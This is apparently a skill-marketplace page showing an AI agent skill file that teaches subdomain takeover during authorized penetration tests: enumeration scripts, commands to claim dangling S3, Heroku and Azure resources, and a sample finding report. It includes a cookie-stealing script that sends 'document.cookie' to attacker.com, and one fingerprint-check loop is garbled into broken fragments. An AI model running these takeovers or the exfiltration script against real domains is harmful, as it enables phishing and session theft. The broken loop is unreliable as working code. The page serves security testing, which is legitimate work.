菜单
Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/xalgorix/xalgorix --skill exploiting-subdomain-takeover-vulnerabilities命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
Detects prompt injection attacks targeting LLM-based applications using a multi-layered defense combining regex pattern matching for known attack signatures, heuristic scoring for structural anomalies, and transformer-based classification with DeBERTa models. The detector analyzes user inputs before they reach the LLM, flagging direct injections (system prompt overrides, role-play escapes, instruction hijacking) and indirect injections (encoded payloads, multi-language obfuscation, delimiter-based escapes). Based on the OWASP LLM Top 10 (LLM01:2025 Prompt Injection) and Simon Willison's prompt injection taxonomy. Activates for requests involving prompt injection detection, LLM input sanitization, AI security scanning, or prompt attack classification.
正在显示 SKILL.md
基于 SOC 职业分类
| name | exploiting-subdomain-takeover-vulnerabilities |
| description | Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","subdomain-takeover","dns","cloud-security","web-security","bug-bounty"] |
| version | 1.0 |
| author | xalgord |
| license | Apache-2.0 |
| nist_csf |
| ["PR.PS-01","ID.RA-01","DE.CM-01"] |
404 or generic error is NOT proof. Many services return 404 while still being owned/unclaimable; match the exact service fingerprint from can-i-take-over-xyz.dig +short CNAME) — any hop could be the dangling one, and intermediate hops can mask the real target..target.com, OAuth redirect/CORS trust) so the finding reflects real risk, not just content control.NoSuchBucket vs NoSuchKey)A subdomain that CNAMEs to a CloudFront distribution (*.cloudfront.net) is not an S3 takeover just because <bucket>.s3.amazonaws.com returns NoSuchBucket. You are probing two different things:
<name>.s3.amazonaws.com → the global S3 namespace. NoSuchBucket here only means no bucket with that literal name currently exists in the global namespace. It says nothing about what CloudFront uses as its origin.NoSuchBucket from the distribution → the origin may be dangling and potentially claimable.NoSuchKey from the distribution → the origin bucket EXISTS (it just has no object at that key). This is NOT vulnerable. It is the normal response for an MTA-STS endpoint that only serves /.well-known/mta-sts.txt.Even when the distribution returns NoSuchBucket, creating that bucket name in your own AWS account does not automatically attach it to someone else's CloudFront origin — CloudFront origins are bound to a specific bucket/account (and modern setups use OAC/OAI). Classic S3 takeover applies when a CNAME points directly at an S3 website endpoint (<bucket>.s3-website-<region>.amazonaws.com) returning NoSuchBucket, not when an S3 bucket sits behind CloudFront. Always confirm with a benign canary claim before reporting an S3/CloudFront takeover.
go install github.com/haccer/subjack@latest)Gather all subdomains and their DNS resolution data.
# Enumerate subdomains (should already be done in Phase 1)
subfinder -d target.com -silent -o subdomains.txt
amass enum -passive -d target.com -o amass-subs.txt
cat subdomains.txt amass-subs.txt | sort -u > all-subs.txt
# Resolve all subdomains and collect CNAME records
echo "=== CNAME Records ==="
while read sub; do
cname=$(dig +short CNAME "$sub" 2>/dev/null)
if [ -n "$cname" ]; then
echo "$sub -> $cname"
fi
done < all-subs.txt | tee cname-records.txt
# Check for NXDOMAIN responses (dangling records)
echo "=== NXDOMAIN / Dead Subdomains ==="
while read sub; do
result=$(dig +short "$sub" 2>/dev/null)
if [ -z "$result" ]; then
cname=$(dig +short CNAME "$sub" 2>/dev/null)
echo "DEAD: $sub (CNAME: ${cname:-none})"
fi
done < all-subs.txt | tee dead-subs.txt
# Check HTTP responses for takeover indicators
echo "=== HTTP Response Check ==="
httpx -l all-subs.txt -sc -title -server -o httpx-results.txt
grep -E "404|NoSuchBucket|There isn't a GitHub Pages|herokucdn" httpx-results.txt
Match CNAME targets against known vulnerable service fingerprints.
# Automated takeover detection with subjack
subjack -w all-subs.txt -t 50 -timeout 30 -ssl \
-c ~/go/pkg/mod/github.com/haccer/subjack@*/fingerprints.json \
-o subjack-results.txt -v
# Nuclei takeover detection
nuclei -l all-subs.txt -tags takeover -severity info,low,medium,high,critical \
-o nuclei-takeover.txt
# Manual fingerprint matching
# Check each CNAME target against known vulnerable patterns
while read line; do
sub=$(echo "$line" | cut -d' ' -f1)
cname=$(echo "$line" | cut -d' ' -f3)
echo -n "$sub ($cname): "
response=$(curl -sk -m 10 "https://$sub" 2>/dev/null)
# AWS S3
echo "$response" | grep -qi "NoSuchBucket" && echo "VULNERABLE: S3 Bucket" && continue
# GitHub Pages
echo "$response" | grep -qi "There isn't a GitHub Pages site here" && echo "VULNERABLE: GitHub Pages" && continue
# Heroku
echo "$response" | grep -qi "No such app\|herokucdn.com/error-pages" && echo "VULNERABLE: Heroku" &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
| grep -qi && &&
< cname-records.txt
Claim the unclaimed resource on each vulnerable service.
# === AWS S3 BUCKET TAKEOVER ===
# If CNAME points to: targetbucket.s3.amazonaws.com
# And response is: NoSuchBucket
# Create the bucket in the same region
aws s3 mb s3://targetbucket --region us-east-1
# Upload proof page
echo "<html><body><h1>Subdomain Takeover PoC - Authorized Test</h1>
<p>This subdomain (SUBDOMAIN) was taken over during an authorized penetration test.</p>
<p>Tester: YOUR_NAME | Date: $(date)</p></body></html>" > index.html
aws s3 cp index.html s3://targetbucket/index.html --acl public-read
aws s3 website s3://targetbucket --index-document index.html
# Verify takeover
curl -s "http://SUBDOMAIN.target.com"
# === GITHUB PAGES TAKEOVER ===
# If CNAME points to: org.github.io
# Create repo named "org.github.io" (or matching CNAME)
# Add CNAME file with the subdomain name
# Push index.html with PoC content
# === HEROKU TAKEOVER ===
# If CNAME points to: appname.herokuapp.com
heroku create appname
# Deploy PoC page
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
git init && git add . && git commit -m "poc"
git push heroku main
# === AZURE TAKEOVER ===
# If CNAME points to: appname.azurewebsites.net
# Create Azure Web App with matching name
az webapp create --resource-group myRG --plan myPlan --name appname
# === SHOPIFY TAKEOVER ===
# If CNAME points to: shops.myshopify.com
# Create a Shopify store and add the subdomain as custom domain
# === GENERAL VERIFICATION ===
# After claiming, verify the subdomain resolves to your content
curl -sI "https://SUBDOMAIN.target.com" | head -10
curl -s "https://SUBDOMAIN.target.com" | grep
Determine the real-world impact beyond just content control.
# === COOKIE SCOPE ANALYSIS ===
# Check if parent domain sets cookies visible to subdomains
curl -sI "https://target.com" | grep -i "set-cookie"
curl -sI "https://www.target.com" | grep -i "set-cookie"
# If cookies are set for .target.com (dot-prefix),
# the taken-over subdomain can READ and STEAL them
# === SESSION HIJACKING VIA COOKIE THEFT ===
# If parent domain cookies scope to .target.com:
# Deploy JavaScript on taken-over subdomain:
# <script>document.location="https://attacker.com/steal?c="+document.cookie</script>
# === SPF/DMARC BYPASS CHECK ===
# Can the taken-over subdomain send emails as target.com?
dig TXT target.com | grep -i "spf"
dig TXT _dmarc.target.com | grep -i "dmarc"
# If SPF includes the cloud service IP ranges, emails from
# the taken-over subdomain may pass SPF validation
# === OAUTH/SSO REDIRECT CHECK ===
# Check if any OAuth flows use the taken-over subdomain as redirect_uri
# This could enable authorization code theft
# === CORS ORIGIN CHECK ===
# Test if the main application trusts the taken-over subdomain
curl -sI -H "Origin: https://SUBDOMAIN.target.com" \
"https://api.target.com/data" | grep -i "access-control"
# If Access-Control-Allow-Origin reflects the subdomain → data theft possible
Document findings and clean up claimed resources.
# Take screenshots for proof
# Screenshot of DNS record showing CNAME
dig CNAME SUBDOMAIN.target.com
# Screenshot of taken-over page
curl -s "https://SUBDOMAIN.target.com"
# After reporting, CLEAN UP:
# S3: aws s3 rb s3://targetbucket --force
# Heroku: heroku apps:destroy appname --confirm appname
# GitHub: Delete the repository
# Azure: az webapp delete --name appname --resource-group myRG
| Concept | Description |
|---|---|
| Dangling CNAME | DNS CNAME record pointing to an unclaimed or decommissioned cloud service |
| Subdomain Takeover | Claiming an unclaimed cloud resource that a subdomain's DNS points to |
| NXDOMAIN | DNS response indicating the target hostname does not exist |
| Cookie Scope | Cookies set for .domain.com are accessible to all subdomains |
| DNS Rebinding | Related technique — changing DNS resolution to bypass same-origin policy |
| Stale DNS | DNS records that remain after the underlying service is decommissioned |
| CNAME Chain | Multiple CNAME hops where any link in the chain could be vulnerable |
| Tool | Purpose |
|---|---|
| subjack | Automated subdomain takeover vulnerability checker |
| nuclei | Template-based takeover detection across 50+ services |
| can-i-take-over-xyz | Reference database of vulnerable services and fingerprints |
| dnsreaper | Subdomain takeover tool supporting multiple DNS providers |
| subzy | Fast subdomain takeover checker with fingerprint database |
| dnsx | Fast DNS resolution toolkit for bulk lookups |
| httpx | HTTP probing with response fingerprinting |
Company migrated from S3 to CloudFront but forgot to remove the CNAME assets.target.com → target-assets.s3.amazonaws.com. The bucket was deleted. Attacker creates a new bucket with the same name and serves malicious content on assets.target.com.
staging.target.com pointed to a deleted Heroku app. After takeover, the attacker deploys a cookie-stealing page. Because the production app sets cookies for .target.com, visiting staging.target.com exfiltrates session tokens.
docs.target.com CNAMEs to targetorg.github.io. The GitHub org renamed, leaving the old name unclaimed. Attacker creates a repo matching the old name and deploys a convincing login page for phishing.
## Subdomain Takeover Finding
**Vulnerability**: Subdomain Takeover via Dangling S3 CNAME
**Severity**: High (CVSS 8.1)
**Location**: assets.target.com
**DNS Record**: CNAME → target-assets.s3.amazonaws.com (NoSuchBucket)
### Reproduction Steps
1. dig CNAME assets.target.com → target-assets.s3.amazonaws.com
2. curl https://assets.target.com → "NoSuchBucket" error
3. Created S3 bucket: aws s3 mb s3://target-assets
4. Uploaded PoC: aws s3 cp index.html s3://target-assets/ --acl public-read
5. Verified: curl https://assets.target.com → PoC page served
### Impact
- Full content control of assets.target.com
- Cookie theft: parent domain sets cookies for .target.com (session hijacking)
- Credible phishing page on legitimate subdomain
- Potential CORS trust: api.target.com reflects assets.target.com as allowed origin
### Recommendation
1. Remove the dangling CNAME record from DNS immediately
2. Audit all DNS records for stale/unused entries monthly
3. Implement DNS monitoring for NXDOMAIN responses on owned subdomains
4. Use wildcard CNAME records cautiously — prefer explicit records
5. Set cookie scope as narrowly as possible (avoid .domain.com wildcards)